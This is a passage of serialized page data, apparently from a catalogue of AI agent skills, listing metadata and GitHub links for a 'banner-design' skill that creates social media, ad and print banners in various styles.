presentations.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign-system\u002FSKILL.md",[],[],{"skillNo":125,"name":126,"nameZh":6,"description":127,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":105,"licenseFileUrl":6,"sourceHtmlUrl":128,"categories":129,"keywords":130,"publishedAt":20},"01M7DJQXB6M0SFF7NX8J5N01AH","banner-design","Design banners for social media, ads, website heroes, creative assets, and print. Multiple art direction options with AI-generated visuals. Actions: design, create, generate banner. Platforms: Facebook, Twitter\u002FX, LinkedIn, YouTube, Instagram, Google Display, website hero, print. Styles: minimalist, gradient, bold typography, photo-based, illustrated, geometric, retro, glassmorphism, 3D, neon, duotone, editorial, collage. Uses ui-ux-pro-max, frontend-design, ai-artist, ai-multimodal skills.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fbanner-design\u002FSKILL.md",[],[]]